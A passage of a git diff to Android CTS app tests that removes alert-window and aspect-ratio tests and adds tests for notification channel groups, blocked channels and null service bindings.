             mContext.startService(mServiceIntent);
             conn.waitForConnect(WAIT_TIME);
-            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
 
             // And now fast-forward to the app going idle, service should be stopped.
diff --git a/tests/app/src/android/app/cts/AlertWindowsTests.java b/tests/app/src/android/app/cts/AlertWindowsTests.java
deleted file mode 100644
index e31c53b..0000000
--- a/tests/app/src/android/app/cts/AlertWindowsTests.java
+++ /dev/null
@@ -1,274 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.cts;
-
-import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE;
-import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_PERCEPTIBLE_PRE_26;
-import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_VISIBLE;
-import static android.content.Context.BIND_ALLOW_OOM_MANAGEMENT;
-import static android.content.Context.BIND_AUTO_CREATE;
-import static android.content.Context.BIND_NOT_FOREGROUND;
-
-import static com.android.app2.AlertWindowService.MSG_ADD_ALERT_WINDOW;
-import static com.android.app2.AlertWindowService.MSG_ON_ALERT_WINDOW_ADDED;
-import static com.android.app2.AlertWindowService.MSG_ON_ALERT_WINDOW_REMOVED;
-import static com.android.app2.AlertWindowService.MSG_REMOVE_ALERT_WINDOW;
-import static com.android.app2.AlertWindowService.MSG_REMOVE_ALL_ALERT_WINDOWS;
-import static com.android.app2.AlertWindowService.NOTIFICATION_MESSENGER_EXTRA;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.fail;
-
-import android.app.ActivityManager;
-import android.app.ActivityManager.RunningAppProcessInfo;
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.content.ServiceConnection;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.os.Handler;
-import android.os.IBinder;
-import android.os.Looper;
-import android.os.Message;
-import android.os.Messenger;
-import android.os.SystemClock;
-import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.Log;
-
-import com.android.app2.AlertWindowService;
-import com.android.compatibility.common.util.SystemUtil;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.concurrent.TimeUnit;
-import java.util.function.Function;
-
-/**
- * Build: mmma -j32 cts/tests/app
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsAppTestCases android.app.cts.AlertWindowsTests
- */
-@Presubmit
-@RunWith(AndroidJUnit4.class)
-public class AlertWindowsTests {
-
-    private static final String TAG = "AlertWindowsTests";
-
-    private static final boolean DEBUG = false;
-    private static final long WAIT_TIME_MS = 2 * 1000;
-
-    private static final String SDK25_PACKAGE_NAME = "com.android.appSdk25";
-
-    private Messenger mService;
-    private String mServicePackageName;
-    private int mServiceUid;
-
-    private PackageManager mPm;
-
-    private ActivityManager mAm;
-    private ActivityManager mAm25; // ActivityManager created for an SDK 25 app context.
-
-    private final Messenger mMessenger = new Messenger(new IncomingHandler(Looper.getMainLooper()));
-    private final Object mAddedLock = new Object();
-    private final Object mRemoveLock = new Object();
-
-    @Before
-    public void setUp() throws Exception {
-        if (DEBUG) Log.e(TAG, "setUp");
-        final Context context = InstrumentationRegistry.getTargetContext();
-
-        mPm = context.getPackageManager();
-
-        mAm = context.getSystemService(ActivityManager.class);
-        mAm25 = context.createPackageContext(SDK25_PACKAGE_NAME, 0)
-                .getSystemService(ActivityManager.class);
-
-        final Intent intent = new Intent();
-        intent.setClassName(AlertWindowService.class.getPackage().getName(),
-                AlertWindowService.class.getName());
-        intent.putExtra(NOTIFICATION_MESSENGER_EXTRA, mMessenger);
-        // Needs to be both BIND_NOT_FOREGROUND and BIND_ALLOW_OOM_MANAGEMENT to avoid the binding
-        // to this instrumentation test from increasing its importance.
-        context.bindService(intent, mConnection,
-                BIND_AUTO_CREATE | BIND_NOT_FOREGROUND | BIND_ALLOW_OOM_MANAGEMENT);
-        synchronized (mConnection) {
-            // Wait for alert window service to be connection before processing.
-            mConnection.wait(WAIT_TIME_MS);
-        }
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        if (DEBUG) Log.e(TAG, "tearDown");
-        if (mService != null) {
-            mService.send(Message.obtain(null, MSG_REMOVE_ALL_ALERT_WINDOWS));
-        }
-        final Context context = InstrumentationRegistry.getTargetContext();
-        context.unbindService(mConnection);
-        mAm = null;
-    }
-
-    @Test
-    public void testAlertWindowOomAdj() throws Exception {
-        setAlertWindowPermission(true /* allow */);
-
-
-        assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
-
-        // TODO AM.getUidImportance() sometimes return a different value from what
-        // getPackageImportance() returns... b/37950472
-        // assertUidImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
-
-        addAlertWindow();
-        // Process importance should be increased to visible when the service has an alert window.
-        assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
-
-        addAlertWindow();
-        assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
-
-        setAlertWindowPermission(false /* allow */);
-        // Process importance should no longer be visible since its alert windows are not allowed to
-        // be visible.
-        assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
-
-        setAlertWindowPermission(true /* allow */);
-        // They can show again so importance should be visible again.
-        assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
-
-        removeAlertWindow();
-        assertPackageImportance(IMPORTANCE_VISIBLE, IMPORTANCE_VISIBLE);
-
-        removeAlertWindow();
-        // Process importance should no longer be visible when the service no longer as alert
-        // windows.
-        assertPackageImportance(IMPORTANCE_PERCEPTIBLE, IMPORTANCE_PERCEPTIBLE_PRE_26);
-    }
-
-    private void addAlertWindow() throws Exception {
-        mService.send(Message.obtain(null, MSG_ADD_ALERT_WINDOW));
-        synchronized (mAddedLock) {
-            // Wait for window addition confirmation before proceeding.
-            mAddedLock.wait(WAIT_TIME_MS);
-        }
-    }
-
-    private void removeAlertWindow() throws Exception {
-        mService.send(Message.obtain(null, MSG_REMOVE_ALERT_WINDOW));
-        synchronized (mRemoveLock) {
-            // Wait for window removal confirmation before proceeding.
-            mRemoveLock.wait(WAIT_TIME_MS);
-        }
-    }
-
-    private void setAlertWindowPermission(boolean allow) throws Exception {
-        final String cmd = "appops set " + mServicePackageName
-                + " android:system_alert_window " + (allow ? "allow" : "deny");
-        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
-    }
-
-    private void assertImportance(Function<ActivityManager, Integer> apiCaller,
-            int expectedForO, int expectedForPreO) throws Exception {
-        final long TIMEOUT = SystemClock.uptimeMillis() + TimeUnit.SECONDS.toMillis(30);
-        int actual;
-
-        do {
-            // TODO: We should try to use ActivityManagerTest.UidImportanceListener here to listen
-            // for changes in the uid importance. However, the way it is currently structured
-            // doesn't really work for this use case right now...
-            Thread.sleep(500);
-            actual = apiCaller.apply(mAm);
-        } while (actual != expectedForO && (SystemClock.uptimeMillis() < TIMEOUT));
-
-        assertEquals(expectedForO, actual);
-
-        // Check the result for pre-O apps.
-        assertEquals(expectedForPreO, (int) apiCaller.apply(mAm25));
-    }
-
-    /**
-     * Make sure {@link ActivityManager#getPackageImportance} returns the expected value.
-     */
-    private void assertPackageImportance(int expectedForO, int expectedForPreO) throws Exception {
-        assertImportance(am -> am.getPackageImportance(mServicePackageName),
-                expectedForO, expectedForPreO);
-    }
-
-    /**
-     * Make sure {@link ActivityManager#getUidImportance(int)} returns the expected value.
-     */
-    private void assertUidImportance(int expectedForO, int expectedForPreO) throws Exception {
-        assertImportance(am -> am.getUidImportance(mServiceUid),
-                expectedForO, expectedForPreO);
-    }
-
-    private final ServiceConnection mConnection = new ServiceConnection() {
-        @Override
-        public void onServiceConnected(ComponentName name, IBinder service) {
-            if (DEBUG) Log.e(TAG, "onServiceConnected");
-            mService = new Messenger(service);
-            mServicePackageName = name.getPackageName();
-            try {
-                mServiceUid = mPm.getPackageUid(mServicePackageName, 0);
-            } catch (NameNotFoundException e) {
-                throw new RuntimeException("getPackageUid() failed.", e);
-            }
-            synchronized (mConnection) {
-                notifyAll();
-            }
-        }
-
-        @Override
-        public void onServiceDisconnected(ComponentName name) {
-            if (DEBUG) Log.e(TAG, "onServiceDisconnected");
-            mService = null;
-            mServicePackageName = null;
-            mServiceUid = 0;
-        }
-    };
-
-    private class IncomingHandler extends Handler {
-
-        IncomingHandler(Looper looper) {
-            super(looper);
-        }
-
-        @Override
-        public void handleMessage(Message msg) {
-            switch (msg.what) {
-                case MSG_ON_ALERT_WINDOW_ADDED:
-                    synchronized (mAddedLock) {
-                        if (DEBUG) Log.e(TAG, "MSG_ON_ALERT_WINDOW_ADDED");
-                        mAddedLock.notifyAll();
-                    }
-                    break;
-                case MSG_ON_ALERT_WINDOW_REMOVED:
-                    synchronized (mRemoveLock) {
-                        if (DEBUG) Log.e(TAG, "MSG_ON_ALERT_WINDOW_REMOVED");
-                        mRemoveLock.notifyAll();
-                    }
-                    break;
-                default:
-                    super.handleMessage(msg);
-            }
-        }
-    }
-}
diff --git a/tests/app/src/android/app/cts/AspectRatioTests.java b/tests/app/src/android/app/cts/AspectRatioTests.java
deleted file mode 100644
index fa6154e..0000000
--- a/tests/app/src/android/app/cts/AspectRatioTests.java
+++ /dev/null
@@ -1,256 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.cts;
-
-import android.app.stubs.MetaDataMaxAspectRatioActivity;
-import com.android.appSdk25.Sdk25MaxAspectRatioActivity;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Ignore;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.app.Activity;
-import android.app.stubs.MaxAspectRatioActivity;
-import android.app.stubs.MaxAspectRatioResizeableActivity;
-import android.app.stubs.MaxAspectRatioUnsetActivity;
-import android.content.Context;
-import android.content.res.Configuration;
-import android.graphics.Point;
-import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
-import android.util.DisplayMetrics;
-import android.view.Display;
-import android.view.View;
-import android.view.WindowManager;
-
-import com.android.compatibility.common.util.PollingCheck;
-
-import static android.content.Context.WINDOW_SERVICE;
-import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
-import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
-import static android.content.pm.PackageManager.FEATURE_WATCH;
-import static org.junit.Assert.fail;
-
-/**
- * Build: mmma -j32 cts/tests/app
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsAppTestCases android.app.cts.AspectRatioTests
- */
-@RunWith(AndroidJUnit4.class)
-public class AspectRatioTests {
-    private static final String TAG = "AspectRatioTests";
-
-    // The max. aspect ratio the test activities are using.
-    private static final float MAX_ASPECT_RATIO = 1.0f;
-
-    // Max supported aspect ratio for pre-O apps.
-    private static final float MAX_PRE_O_ASPECT_RATIO = 1.86f;
-
-    // The minimum supported device aspect ratio.
-    private static final float MIN_DEVICE_ASPECT_RATIO = 1.333f;
-
-    // The minimum supported device aspect ratio for watches.
-    private static final float MIN_WATCH_DEVICE_ASPECT_RATIO = 1.0f;
-
-    @Rule
-    public ActivityTestRule<MaxAspectRatioActivity> mMaxAspectRatioActivity =
-            new ActivityTestRule<>(MaxAspectRatioActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
-    @Rule
-    public ActivityTestRule<MaxAspectRatioResizeableActivity> mMaxAspectRatioResizeableActivity =
-            new ActivityTestRule<>(MaxAspectRatioResizeableActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
-    @Rule
-    public ActivityTestRule<MetaDataMaxAspectRatioActivity> mMetaDataMaxAspectRatioActivity =
-        new ActivityTestRule<>(MetaDataMaxAspectRatioActivity.class,
-            false /* initialTouchMode */, false /* launchActivity */);
-
-    @Rule
-    public ActivityTestRule<MaxAspectRatioUnsetActivity> mMaxAspectRatioUnsetActivity =
-            new ActivityTestRule<>(MaxAspectRatioUnsetActivity.class,
-                    false /* initialTouchMode */, false /* launchActivity */);
-
-    // TODO: Can't use this to start an activity in a different process...sigh.
-    @Rule
-    public ActivityTestRule<Sdk25MaxAspectRatioActivity> mSdk25MaxAspectRatioActivity =
-            new ActivityTestRule<>(Sdk25MaxAspectRatioActivity.class, "com.android.appSdk25",
-                    268435456, false /* initialTouchMode */, false /* launchActivity */);
-
-    private interface AssertAspectRatioCallback {
-        void assertAspectRatio(float actual);
-    }
-
-    @Before
-    public void setUp() throws Exception {
-
-    }
-
-    @After
-    public void tearDown() throws Exception {
-        finishActivity(mMaxAspectRatioActivity);
-        finishActivity(mMaxAspectRatioResizeableActivity);
-        finishActivity(mSdk25MaxAspectRatioActivity);
-        finishActivity(mMaxAspectRatioUnsetActivity);
-        finishActivity(mMetaDataMaxAspectRatioActivity);
-    }
-
-    @Test
-    @Presubmit
-    public void testDeviceAspectRatio() throws Exception {
-        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        final WindowManager wm = (WindowManager) context.getSystemService(WINDOW_SERVICE);
-        final Display display = wm.getDefaultDisplay();
-        final DisplayMetrics metrics = new DisplayMetrics();
-        display.getRealMetrics(metrics);
-
-        float longSide = Math.max(metrics.widthPixels, metrics.heightPixels);
-        float shortSide = Math.min(metrics.widthPixels, metrics.heightPixels);
-        float deviceAspectRatio = longSide / shortSide;
-        float expectedMinAspectRatio = context.getPackageManager().hasSystemFeature(FEATURE_WATCH)
-                ? MIN_WATCH_DEVICE_ASPECT_RATIO : MIN_DEVICE_ASPECT_RATIO;
-
-        if (deviceAspectRatio < expectedMinAspectRatio) {
-            fail("deviceAspectRatio=" + deviceAspectRatio
-                    + " is less than expectedMinAspectRatio=" + expectedMinAspectRatio);
-        }
-    }
-
-    @Test
-    @Presubmit
-    public void testMaxAspectRatio() throws Exception {
-        runTest(launchActivity(mMaxAspectRatioActivity),
-                actual -> {
-                    if (MAX_ASPECT_RATIO >= actual) return;
-                    fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
-                });
-    }
-
-    @Test
-    @Presubmit
-    public void testMetaDataMaxAspectRatio() throws Exception {
-        runTest(launchActivity(mMetaDataMaxAspectRatioActivity),
-            actual -> {
-                if (MAX_ASPECT_RATIO >= actual) return;
-                fail("actual=" + actual + " is greater than expected=" + MAX_ASPECT_RATIO);
-            });
-    }
-
-    @Test
-    // TODO: Currently 10% flaky so not part of pre-submit for now
-    public void testMaxAspectRatioResizeableActivity() throws Exception {
-        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        final float expected = getAspectRatio(context);
-        final Activity testActivity = launchActivity(mMaxAspectRatioResizeableActivity);
-        PollingCheck.waitFor(testActivity::hasWindowFocus);
-
-        Display testDisplay = testActivity.findViewById(android.R.id.content).getDisplay();
-
-        // TODO(b/69982434): Fix DisplayManager NPE when getting display from Instrumentation
-        // context, then can use DisplayManager to get the aspect ratio of the correct display.
-        if (testDisplay.getDisplayId() != Display.DEFAULT_DISPLAY) {
-            return;
-        }
-
-        // Since this activity is resizeable, its aspect ratio shouldn't be less than the device's
-        runTest(testActivity,
-                actual -> {
-                    if (aspectRatioEqual(expected, actual) || expected < actual) return;
-                    fail("actual=" + actual + " is less than expected=" + expected);
-                });
-    }
-
-    @Test
-    @Presubmit
-    public void testMaxAspectRatioUnsetActivity() throws Exception {
-        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        final float expected = getAspectRatio(context);
-
-        // Since this activity didn't set an aspect ratio, its aspect ratio shouldn't be less than
-        // the device's
-        runTest(launchActivity(mMaxAspectRatioUnsetActivity),
-                actual -> {
-                    if (aspectRatioEqual(expected, actual) || expected < actual) return;
-                    fail("actual=" + actual + " is less than expected=" + expected);
-                });
-    }
-
-    @Test
-    // TODO(b/35810513): Can't use rule to start an activity in a different process. Need a
-    // different way to make this test happen...host side? Sigh...
-    @Ignore
-    public void testMaxAspectRatioPreOActivity() throws Exception {
-        runTest(launchActivity(mSdk25MaxAspectRatioActivity),
-                actual -> {
-                    if (MAX_PRE_O_ASPECT_RATIO >= actual) return;
-                    fail("actual=" + actual + " is greater than expected=" + MAX_PRE_O_ASPECT_RATIO);
-                });
-    }
-
-    private void runTest(Activity activity, AssertAspectRatioCallback callback) {
-        callback.assertAspectRatio(getAspectRatio(activity));
-
-        // TODO(b/35810513): All this rotation stuff doesn't really work yet. Need to make sure
-        // context is updated correctly here. Also, what does it mean to be holding a reference to
-        // this activity if changing the orientation will cause a relaunch?
-//        activity.setRequestedOrientation(SCREEN_ORIENTATION_LANDSCAPE);
-//        waitForIdle();
-//        callback.assertAspectRatio(getAspectRatio(activity));
-//
-//        activity.setRequestedOrientation(SCREEN_ORIENTATION_PORTRAIT);
-//        waitForIdle();
-//        callback.assertAspectRatio(getAspectRatio(activity));
-    }
-
-    private float getAspectRatio(Context context) {
-        final Display display =
-                ((WindowManager) context.getSystemService(WINDOW_SERVICE)).getDefaultDisplay();
-        final Point size = new Point();
-        display.getSize(size);
-        final float longSide = Math.max(size.x, size.y);
-        final float shortSide = Math.min(size.x, size.y);
-        return longSide / shortSide;
-    }
-
-    private Activity launchActivity(ActivityTestRule activityRule) {
-        final Activity activity = activityRule.launchActivity(null);
-        waitForIdle();
-        return activity;
-    }
-
-    private void finishActivity(ActivityTestRule activityRule) {
-        final Activity activity = activityRule.getActivity();
-        if (activity != null) {
-            activity.finish();
-        }
-    }
-
-    private void waitForIdle() {
-        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
-    }
-
-    private static boolean aspectRatioEqual(float a, float b) {
-        // Aspect ratios are considered equal if they ware within to significant digits.
-        float diff = Math.abs(a - b);
-        return diff < 0.01f;
-    }
-}
diff --git a/tests/app/src/android/app/cts/NotificationChannelGroupTest.java b/tests/app/src/android/app/cts/NotificationChannelGroupTest.java
index 162815f..7931a1f 100644
--- a/tests/app/src/android/app/cts/NotificationChannelGroupTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelGroupTest.java
@@ -37,10 +37,21 @@
         NotificationChannelGroup group =  new NotificationChannelGroup("1", "one");
         assertEquals("1", group.getId());
         assertEquals("one", group.getName());
+        assertFalse(group.isBlocked());
+        assertNull(group.getDescription());
+        assertEquals(0, group.getChannels().size());
+    }
+
+    public void testIsBlocked() {
+        NotificationChannelGroup group =  new NotificationChannelGroup("1", "one");
+        group.setBlocked(true);
+        assertTrue(group.isBlocked());
     }
 
     public void testWriteToParcel() {
         NotificationChannelGroup group = new NotificationChannelGroup("1", "one");
+        group.setBlocked(true);
+        group.setDescription("bananas!");
         Parcel parcel = Parcel.obtain();
         group.writeToParcel(parcel, 0);
         parcel.setDataPosition(0);
@@ -51,8 +62,12 @@
 
     public void testClone() {
         NotificationChannelGroup group =  new NotificationChannelGroup("1", "one");
+        group.setBlocked(true);
+        group.setDescription("bananas");
         NotificationChannelGroup cloned = group.clone();
         assertEquals("1", cloned.getId());
         assertEquals("one", cloned.getName());
+        assertTrue(cloned.isBlocked());
+        assertEquals("bananas", cloned.getDescription());
     }
 }
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index b6077ca..7b716ac 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -80,6 +80,12 @@
             }
             mNotificationManager.deleteNotificationChannel(nc.getId());
         }
+
+        List<NotificationChannelGroup> groups = mNotificationManager.getNotificationChannelGroups();
+        // Delete all groups.
+        for (NotificationChannelGroup ncg : groups) {
+            mNotificationManager.deleteNotificationChannelGroup(ncg.getId());
+        }
     }
 
     public void testCreateChannelGroup() throws Exception {
@@ -88,18 +94,43 @@
                 new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
         channel.setGroup(ncg.getId());
         mNotificationManager.createNotificationChannelGroup(ncg);
+        final NotificationChannel ungrouped =
+                new NotificationChannel(mId + "!", "name", NotificationManager.IMPORTANCE_DEFAULT);
         try {
             mNotificationManager.createNotificationChannel(channel);
+            mNotificationManager.createNotificationChannel(ungrouped);
 
             List<NotificationChannelGroup> ncgs =
                     mNotificationManager.getNotificationChannelGroups();
             assertEquals(1, ncgs.size());
-            assertEquals(ncg, ncgs.get(0));
+            assertEquals(ncg.getName(), ncgs.get(0).getName());
+            assertEquals(ncg.getDescription(), ncgs.get(0).getDescription());
+            assertEquals(channel.getId(), ncgs.get(0).getChannels().get(0).getId());
         } finally {
             mNotificationManager.deleteNotificationChannelGroup(ncg.getId());
         }
     }
 
+    public void testGetChannelGroup() throws Exception {
+        final NotificationChannelGroup ncg = new NotificationChannelGroup("a group", "a label");
+        ncg.setDescription("bananas");
+        final NotificationChannelGroup ncg2 = new NotificationChannelGroup("group 2", "label 2");
+        final NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setGroup(ncg.getId());
+
+        mNotificationManager.createNotificationChannelGroup(ncg);
+        mNotificationManager.createNotificationChannelGroup(ncg2);
+        mNotificationManager.createNotificationChannel(channel);
+
+        NotificationChannelGroup actual =
+                mNotificationManager.getNotificationChannelGroup(ncg.getId());
+        assertEquals(ncg.getId(), actual.getId());
+        assertEquals(ncg.getName(), actual.getName());
+        assertEquals(ncg.getDescription(), actual.getDescription());
+        assertEquals(channel.getId(), actual.getChannels().get(0).getId());
+    }
+
     public void testDeleteChannelGroup() throws Exception {
         final NotificationChannelGroup ncg = new NotificationChannelGroup("a group", "a label");
         final NotificationChannel channel =
@@ -151,6 +182,46 @@
                 mNotificationManager.getNotificationChannel(mId).getImportance());
     }
 
+    public void testCreateChannel_addToGroup() throws Exception {
+        String oldGroup = null;
+        String newGroup = "new group";
+        mNotificationManager.createNotificationChannelGroup(
+                new NotificationChannelGroup(newGroup, newGroup));
+
+        NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setGroup(oldGroup);
+        mNotificationManager.createNotificationChannel(channel);
+
+        channel.setGroup(newGroup);
+        mNotificationManager.createNotificationChannel(channel);
+
+        final NotificationChannel updatedChannel =
+                mNotificationManager.getNotificationChannel(mId);
+        assertEquals("Failed to add non-grouped channel to a group on update ",
+                newGroup, updatedChannel.getGroup());
+    }
+
+    public void testCreateChannel_cannotChangeGroup() throws Exception {
+        String oldGroup = "old group";
+        String newGroup = "new group";
+        mNotificationManager.createNotificationChannelGroup(
+                new NotificationChannelGroup(oldGroup, oldGroup));
+        mNotificationManager.createNotificationChannelGroup(
+                new NotificationChannelGroup(newGroup, newGroup));
+
+        NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setGroup(oldGroup);
+        mNotificationManager.createNotificationChannel(channel);
+        channel.setGroup(newGroup);
+        mNotificationManager.createNotificationChannel(channel);
+        final NotificationChannel updatedChannel =
+                mNotificationManager.getNotificationChannel(mId);
+        assertEquals("Channels should not be allowed to change groups",
+                oldGroup, updatedChannel.getGroup());
+    }
+
     public void testCreateSameChannelDoesNotUpdate() throws Exception {
         final NotificationChannel channel =
                 new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
@@ -328,6 +399,54 @@
         }
     }
 
+    public void testNotify_blockedChannel() throws Exception {
+        mNotificationManager.cancelAll();
+
+        NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_NONE);
+        mNotificationManager.createNotificationChannel(channel);
+
+        int id = 1;
+        final Notification notification =
+                new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(R.drawable.black)
+                        .setWhen(System.currentTimeMillis())
+                        .setContentTitle("notify#" + id)
+                        .setContentText("This is #" + id + "notification  ")
+                        .build();
+        mNotificationManager.notify(id, notification);
+
+        if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
+            fail("found unexpected notification id=" + id);
+        }
+    }
+
+    public void testNotify_blockedChannelGroup() throws Exception {
+        mNotificationManager.cancelAll();
+
+        NotificationChannelGroup group = new NotificationChannelGroup(mId, "group name");
+        group.setBlocked(true);
+        mNotificationManager.createNotificationChannelGroup(group);
+        NotificationChannel channel =
+                new NotificationChannel(mId, "name", NotificationManager.IMPORTANCE_DEFAULT);
+        channel.setGroup(mId);
+        mNotificationManager.createNotificationChannel(channel);
+
+        int id = 1;
+        final Notification notification =
+                new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(R.drawable.black)
+                        .setWhen(System.currentTimeMillis())
+                        .setContentTitle("notify#" + id)
+                        .setContentText("This is #" + id + "notification  ")
+                        .build();
+        mNotificationManager.notify(id, notification);
+
+        if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
+            fail("found unexpected notification id=" + id);
+        }
+    }
+
     public void testCancel() throws Exception {
         final int id = 9;
         sendNotification(id, R.drawable.black);
@@ -683,6 +802,7 @@
             found = false;
             final StatusBarNotification[] sbns = mNotificationManager.getActiveNotifications();
             for (StatusBarNotification sbn : sbns) {
+                Log.d(TAG, "Found " + sbn.getKey());
                 if (sbn.getId() == id) {
                     found = true;
                     break;
diff --git a/tests/app/src/android/app/cts/ServiceTest.java b/tests/app/src/android/app/cts/ServiceTest.java
index 5f8202d..d660040 100644
--- a/tests/app/src/android/app/cts/ServiceTest.java
+++ b/tests/app/src/android/app/cts/ServiceTest.java
@@ -26,6 +26,7 @@
 import android.app.stubs.LocalForegroundService;
 import android.app.stubs.LocalGrantedService;
 import android.app.stubs.LocalService;
+import android.app.stubs.NullService;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
@@ -36,6 +37,7 @@
 import android.os.IBinder;
 import android.os.Parcel;
 import android.os.RemoteException;
+import android.os.SystemClock;
 import android.service.notification.StatusBarNotification;
 import android.test.suitebuilder.annotation.MediumTest;
 import android.util.Log;
@@ -85,6 +87,41 @@
         }
     }
 
+    private static class NullServiceConnection implements ServiceConnection {
+        boolean mNullBinding = false;
+
+        @Override public void onServiceConnected(ComponentName name, IBinder service) {}
+        @Override public void onServiceDisconnected(ComponentName name) {}
+
+        @Override
+        public void onNullBinding(ComponentName name) {
+            synchronized (this) {
+                mNullBinding = true;
+                this.notifyAll();
+            }
+        }
+
+        public void waitForNullBinding(final long timeout) {
+            long now = SystemClock.uptimeMillis();
+            final long end = now + timeout;
+            synchronized (this) {
+                while (!mNullBinding && (now < end)) {
+                    try {
+                        this.wait(end - now);
+                    } catch (InterruptedException e) {
+                    }
+                    now = SystemClock.uptimeMillis();
+                }
+            }
+        }
+
+        public boolean nullBindingReceived() {
+            synchronized (this) {
+                return mNullBinding;
+            }
+        }
+    }
+
     private class TestConnection implements ServiceConnection {
         private final boolean mExpectDisconnect;
         private final boolean mSetReporter;
@@ -831,4 +868,28 @@
             // expected
         }
     }
+
+    /**
+     * Verify that when the requested service's onBind() returns null,
+     * the connection's onNullBinding() method is invoked.
+     */
+    @MediumTest
+    public void testNullServiceBinder() throws Exception {
+        Intent intent = new Intent(mContext, NullService.class);
+        intent.setAction("testNullServiceBinder");
+        NullServiceConnection conn1 = new NullServiceConnection();
+        NullServiceConnection conn2 = new NullServiceConnection();
+        try {
+            assertTrue(mContext.bindService(intent, conn1, Context.BIND_AUTO_CREATE));
+            conn1.waitForNullBinding(DELAY);
+            assertTrue(conn1.nullBindingReceived());
+
+            assertTrue(mContext.bindService(intent, conn2, Context.BIND_AUTO_CREATE));
+            conn2.waitForNullBinding(DELAY);
+            assertTrue(conn2.nullBindingReceived());
+        } finally {
+            mContext.unbindService(conn1);
+            mContext.unbindService(conn2);
+        }
+    }
 }
diff --git a/tests/app/src/android/app/cts/TaskDescriptionTest.java b/tests/app/src/android/app/cts/TaskDescriptionTest.java
new file mode 100644
index 0000000..408930e
--- /dev/null
+++ b/tests/app/src/android/app/cts/TaskDescriptionTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
